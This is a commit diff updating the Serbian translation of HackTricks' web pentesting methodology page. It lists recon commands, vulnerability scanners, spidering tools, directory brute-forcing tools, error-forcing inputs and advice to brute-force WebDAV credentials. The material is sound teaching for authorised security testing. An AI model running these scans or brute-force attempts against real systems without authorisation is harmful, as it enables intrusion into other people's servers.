mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
parent
53be02f8a3
commit
f2732bee14
@ -432,6 +432,7 @@
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
|
||||
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Pentesting Web metodologija
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
|
||||
Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**.
|
||||
|
||||
**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -17,55 +17,55 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Guidance
|
||||
### Vodič za Web API
|
||||
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Sažetak metodologije
|
||||
|
||||
> U ovoj metodologiji pretpostavljamo da ćete napasti domen (ili poddomen) i samo to. Dakle, trebali biste primeniti ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa neodređenim web serverom unutar opsega.
|
||||
> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domain (ili subdomain) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriven domain, subdomain ili IP sa nedefinisanim web serverom unutar opsega.
|
||||
|
||||
- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
|
||||
- [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
|
||||
- [ ] Koristite neku **poznatu tehnologiju**? Ima li neki **koristan trik** za izvlačenje više informacija?
|
||||
- [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
|
||||
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili neku zanimljivu informaciju.
|
||||
- [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
|
||||
- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
|
||||
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
|
||||
- [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
|
||||
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
- [ ] **Proveravanje rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** **otkrivenih fajlova** dodavanjem uobičajenih ekstenzija za rezervne kopije.
|
||||
- [ ] **Brute-Force parametri**: Pokušajte da **pronađete skrivene parametre**.
|
||||
- [ ] Kada ste **identifikovali** sve moguće **endpointe** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane s tim.
|
||||
- [ ] [Pratite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju.
|
||||
- [ ] Postoji li neka **poznata ranjivost** za verziju te tehnologije?
|
||||
- [ ] Koristi li se neka **well known tech**? Postoji li neki **useful trick** za dobijanje više informacija?
|
||||
- [ ] Postoji li neki **specialised scanner** za pokretanje (npr. wpscan)?
|
||||
- [ ] Pokrenite **general purposes scanners**. Nikad ne znate hoće li pronaći nešto ili neke interesantne informacije.
|
||||
- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako HTTPS).
|
||||
- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**.
|
||||
- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba ga spiderovati._
|
||||
- [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene folders tražeći nove **files** i **directories**.
|
||||
- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba da bude Brute-Forced._
|
||||
- [ ] **Backups checking**: Testirajte da li možete pronaći **backups** od **discovered files** dodavanjem uobičajenih backup ekstenzija.
|
||||
- [ ] **Brute-Force parameters**: Pokušajte da **find hidden parameters**.
|
||||
- [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih.
|
||||
- [ ] [Sledite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Verzija servera (Ranjiv?)
|
||||
|
||||
### Identify
|
||||
### Identifikacija
|
||||
|
||||
Proverite da li postoje **poznate ranjivosti** za verziju servera **koja se koristi**.\
|
||||
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\
|
||||
**HTTP headers and cookies of the response** mogu biti veoma korisni za identifikaciju tehnologija i/ili verzije koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ili [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Proverite da li postoji neki WAF**
|
||||
### **Proveri da li postoji WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Web tehnološke trikove
|
||||
### Trikovi za web tehnologije
|
||||
|
||||
Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologijama** koje se koriste:
|
||||
Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -77,8 +77,9 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
|
||||
- [**Git**](git.md)
|
||||
- [**Golang**](golang.md)
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL baza podataka**](h2-java-sql-database.md)
|
||||
- [**IIS trikovi**](iis-internet-information-services.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**ISPConfig**](ispconfig.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
@ -88,7 +89,7 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php ima mnogo zanimljivih trikova koji se mogu iskoristiti)**](php-tricks-esp/index.html)
|
||||
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
@ -98,21 +99,21 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
|
||||
- [**WebDav**](put-method-webdav.md)
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenama**._\
|
||||
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
|
||||
_Imajte u vidu da isti **domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\
|
||||
Ako web aplikacija koristi neku od prethodno navedenih dobro poznatih **tehnologija/platformi** ili **neku drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
|
||||
|
||||
### Pregled izvornog koda
|
||||
|
||||
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
|
||||
Ako je **source code** aplikacije dostupan na **github**, pored izvođenja od strane vas **White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testing**:
|
||||
|
||||
- Da li postoji **Change-log ili Readme ili Version** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem veba?
|
||||
- Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
|
||||
- Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
|
||||
- Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
|
||||
- Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
|
||||
- Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uvedena unutar starog commita**)?
|
||||
- Postoji li **Change-log**, **Readme** ili **Version** fajl ili nešto sa **informacijama o verziji dostupnim** preko weba?
|
||||
- Kako i gde su sačuvane **credentials**? Postoji li neki (pristupačni?) **file** sa credentials (korisnička imena ili passwords)?
|
||||
- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi?
|
||||
- Da li koristi neki **master key** za enkripciju nečega? Koji **algorithm** se koristi?
|
||||
- Možete li **pristupiti bilo kojem od ovih fajlova** iskorišćavanjem neke ranjivosti?
|
||||
- Ima li neke **zanimljive informacije na githubu** (rešene i nerešene) **issues**? Ili u **commit history** (možda je neka **password** ubačen u starom commitu)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -121,7 +122,7 @@ code-review-tools.md
|
||||
|
||||
### Automatski skeneri
|
||||
|
||||
#### Automatski skeneri opšte namene
|
||||
#### General purpose automatic scanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### CMS skeneri
|
||||
|
||||
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo:
|
||||
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda se nađe nešto korisno:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove zbog sigurnosnih problema. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -148,11 +149,11 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener.
|
||||
> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dati podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner.
|
||||
|
||||
## Postupno otkrivanje web aplikacija
|
||||
## Koračno otkrivanje web aplikacije
|
||||
|
||||
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
|
||||
> Od ovog trenutka počinjemo da interagujemo sa web aplikacijom.
|
||||
|
||||
### Početne provere
|
||||
|
||||
@ -163,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Takođe proverite komentare na glavnim i sekundarnim stranicama.
|
||||
- Proverite i komentare na glavnim i sekundarnim stranicama.
|
||||
|
||||
**Prisiljavanje grešaka**
|
||||
**Navođenje grešaka**
|
||||
|
||||
Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. Ovo može otvoriti **ranjivosti** ili **otkriti osetljive informacije**.
|
||||
Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. To može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**.
|
||||
|
||||
- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške
|
||||
- Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a**
|
||||
- Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE
|
||||
- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti cookie-ja** i **parametara** da izazovete greške
|
||||
- Generišite grešku unošenjem **`/~randomthing/%s`** na **kraj** **URL-a**
|
||||
- Isprobajte **različite HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE
|
||||
|
||||
#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
|
||||
|
||||
- **Brute Force** kredencijale
|
||||
- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
|
||||
- **Brute Force** credentials
|
||||
- **Upload files** via WebDav u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole da otpremite fajlove u drugim folderima.
|
||||
|
||||
### **SSL/TLS ranjivosti**
|
||||
|
||||
- Ako aplikacija **ne prisiljava korisnika na HTTPS** u bilo kojem delu, onda je **ranjiva na MitM**
|
||||
- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. Tada je to visoka ranjivost.
|
||||
- Ako aplikacija **ne primorava korišćenje HTTPS** ni u jednom delu, onda je **ranjiva na MitM**
|
||||
- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. To predstavlja visoku ranjivost.
|
||||
|
||||
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti:
|
||||
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -202,58 +203,58 @@ Informacije o SSL/TLS ranjivostima:
|
||||
|
||||
### Spidering
|
||||
|
||||
Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i spoljašnji izvori treba da se koriste za pronalaženje što više validnih putanja.
|
||||
Pokrenite neku vrstu **spider** unutar web-a. Cilj **spider**-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i eksterni izvori treba da se koriste da bi se pronašlo što više validnih putanja.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS datoteke.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS datotekama.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatifikovani JS kod.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva za kreiranje prilagođene rečnika za fuzzing i enumeraciju.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Ispiši svaki link koji može pronaći.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS files i eksternim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS files i Archive.org kao eksterni izvor.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete samo navesti fajl sa hostovima i fajl sa putanjama i meg će fetch-ovati svaku putanju na svakom hostu i sačuvati odgovor.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS rendering mogućnostima. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripta koja će naći URL-ove sa parametrima i izlistati ih.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS rendering mogućnostima.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS files. Može biti korisno takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper LinkFinder-a.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoints kako iz HTML source-a tako i iz embedded javascript fajlova. Korisno za bug hunter-e, red team-e, infosec ninje.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skripta koja koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda neodržavano.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) ekstrahuje URL-ove koristeći zgodan regularni izraz da pronađe i izvuče relativne URL-ove iz "ružnih" (minify) fajlova.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikuplja interesantne informacije iz JS files koristeći više alata.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve URL-ove koje je učitao da bi učitao stranicu.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Tool za otkrivanje sadržaja kombinujući nekoliko opcija prethodnih alata
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path i params u JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoints za dati target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine-a (takođe preuzimajući odgovore u wayback i tražeći dalje linkove)
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, sekretâ i drugih interesantnih podataka iz JavaScript source koda.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoints** iz request-a da bi se kreirao custom wordlist za fuzzing i enumeraciju.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan tool za ovo.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe.
|
||||
|
||||
### Brute Force direktorijumi i datoteke
|
||||
### Brute Force directories and files
|
||||
|
||||
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo raditi **rekurzivno** i dodavati na početak korišćenog rečnika imena pronađenih direktorijuma).\
|
||||
Alati:
|
||||
Počnite sa **brute-forcing** iz root folder-a i obavezno brute-force-ujte **sve** **direktorijume koji su pronađeni** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete izvršiti brute-forcing **rekurzivno** i dodati na početak korišćene wordlist-e imena pronađenih direktorijuma).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivnu pretragu.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **ne** ima **rekurzivnu** pretragu.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.**
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
